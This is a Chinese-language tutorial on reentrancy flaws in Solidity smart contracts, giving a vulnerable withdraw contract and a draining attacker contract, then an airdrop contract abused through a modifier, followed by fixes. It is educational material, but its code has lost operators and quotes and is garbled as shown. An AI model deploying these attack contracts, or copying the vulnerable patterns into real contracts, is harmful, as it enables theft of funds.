中国教学网站,广州网站设计我选刻,做网站起什么名字好呢,导购类网站备案目录
1. 重入漏洞的原理
2. 重入漏洞的场景
2.1 msg.sender.call 转账
2.2 修饰器中调用地址可控的函数 1. 重入漏洞的原理
重入漏洞产生的条件#xff1a;
合约之间可以进行相互间的外部调用 恶意合约 B 调用了合约 A 中的 public funcA 函数#xff0c;在函数 funcA…目录
1. 重入漏洞的原理
2. 重入漏洞的场景
2.1 msg.sender.call 转账
2.2 修饰器中调用地址可控的函数 1. 重入漏洞的原理
重入漏洞产生的条件
合约之间可以进行相互间的外部调用 恶意合约 B 调用了合约 A 中的 public funcA 函数在函数 funcA 的代码中又调用了别的合约的函数 funcB并且该合约地址可控。当恶意合约 B 实现了 funcB并且 funcB 的代码中又调用了合约 A 的 funcA就会导致一个循环调用即 step 2 step 3 step 2 step 3 ....... 直到 合约 gas 耗尽或其他强制结束事件发生。 2. 重入漏洞的场景 2.1 msg.sender.call 转账
msg.sender.call 转账场景下重入漏洞产生的条件
合约之间可以进行相互间的外部调用使用 call 函数发送 ether且不设置 gas记录款项数目的状态变量值变化发生在转账之后 恶意合约 B 调用了合约 A 的退款函数合约 A 的退款函数通过 call 函数给合约 B 进行转账且没有设置 gas合约 B 的 fallback 函数自动执行被用来接收转账合约 B 的 fallback 函数中又调用了合约 A
合约 A
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {mapping(address uint) public balances;function deposit() public payable { balances[msg.sender] msg.value;}function withdraw() public {uint bal balances[msg.sender];require(bal 0);// 调用 call 函数将款项转到 msg.sender 的账户(bool sent, ) msg.sender.call{value: bal}();require(sent, Failed to send Ether);// 账户余额清零balances[msg.sender] 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
恶意合约 B
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {A public etherStore;constructor(address _etherStoreAddress) {etherStore EtherStore(_etherStoreAddress);}// Fallback is called when A sends Ether to this contract.fallback() external payable {if (address(etherStore).balance 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
} 2.2 修饰器中调用地址可控的函数
代码地址https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier 漏洞合约代码
pragma solidity 0.8.13;import ./Dependencies.sol;contract InsecureAirdrop {mapping (address uint256) private userBalances;mapping (address bool) private receivedAirdrops;uint256 public immutable airdropAmount;constructor(uint256 _airdropAmount) {airdropAmount _airdropAmount;}function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {// Mint AirdropuserBalances[msg.sender] airdropAmount;receivedAirdrops[msg.sender] true;}modifier neverReceiveAirdrop {require(!receivedAirdrops[msg.sender], You already received an Airdrop);_;}// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsfunction _isContract(address _account) internal view returns (bool) {// It is unsafe to assume that an address for which this function returns // false is an externally-owned account (EOA) and not a contractuint256 size;assembly {// There is a contract size check bypass issue// But, it is not the scope of this example thoughsize : extcodesize(_account)}return size 0;}modifier canReceiveAirdrop() {// If the caller is a smart contract, check if it can receive an airdropif (_isContract(msg.sender)) {// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsrequire(IAirdropReceiver(msg.sender).canReceiveAirdrop(), Receiver cannot receive an airdrop);}_;}function getUserBalance(address _user) external view returns (uint256) {return userBalances[_user];}function hasReceivedAirdrop(address _user) external view returns (bool) {return receivedAirdrops[_user];}
}
攻击合约代码
pragma solidity 0.8.13;import ./Dependencies.sol;interface IAirdrop {function receiveAirdrop() external;function getUserBalance(address _user) external view returns (uint256);
}contract Attack is IAirdropReceiver {IAirdrop public immutable airdrop;uint256 public xTimes;uint256 public xCount;constructor(IAirdrop _airdrop) {airdrop _airdrop;}function canReceiveAirdrop() external override returns (bool) {if (xCount xTimes) {xCount;airdrop.receiveAirdrop();}return true;}function attack(uint256 _xTimes) external {xTimes _xTimes;xCount 1;airdrop.receiveAirdrop();}function getBalance() external view returns (uint256) {return airdrop.getUserBalance(address(this));}
}
漏洞合约为一个空投合约限制每个账户只能领一次空投。
攻击过程
部署攻击合约 Attacker 后执行函数 attackattack 函数调用漏洞合约的 receiveAirdrop 函数接收空投漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop()此时 msg.sender 为攻击合约地址攻击合约自己实现了 canReceiveAirdrop() 函数并且函数代码中再次调用了 receiveAirdrop 函数接收空投
于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。 修复重入漏洞
1.避免使用call方法转账
2.确保所有状态变量的逻辑都发生在转账之前
3.引入互斥锁